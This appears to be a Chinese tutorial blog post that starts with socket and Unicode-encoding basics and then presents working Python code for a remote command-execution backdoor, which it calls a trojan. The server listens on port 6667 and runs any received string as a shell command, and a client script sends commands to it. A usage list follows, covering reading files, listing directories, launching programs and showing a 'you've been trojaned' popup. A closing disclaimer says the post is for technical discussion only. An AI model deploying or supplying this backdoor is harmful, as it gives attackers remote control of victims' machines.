socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间
编码:
英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)中文多:建议用UTF-16编码中文:window中文采用的是GBK格式编码
netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了
服务端(server)程序
import socket, os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口 s.listen() #对6667端口进行监听 chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}的运行结果:\n{reply}".encode()) except: s.close() attack() if __name__ == '__main__': attack()
客户端(client)程序
import socket s = socket.socket() s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服务器的地址 while True: sendstr = input("请输入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服务器回复:{receive}") # s.close()
其他命令执行函数
提示:需要导入 os 模块—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 将字符串按照Python代码来执行
该木马程序的基本用法
1、查看文件内容
window
type 文件绝对路径
linux
cat 文件路径
2、查看文件目录
window
dir#查看当前文件路径目录dir 文件路径 #查看指定文件路径目录
linux
ls#查看当前文件路径目录ll#查看当前文件路径目录详细信息ls 文件路径 #查看指定文件路径目录ll 文件路径 #查看指定文件路径目录详细信息
3、创建文件或目录
windows
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
linux
mkdir 路径 #创建目录echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
4、调用windows应用程序
调用计算器
calc.exe
调用其他引用程序
直接输入应用程序绝对路径
5、调用Windows弹窗
echo msgbox("你中木马了!!") > E:\hi.vbs E:\hi.vbs
严正声明:本文仅限于技术讨论,严禁用于其他用途。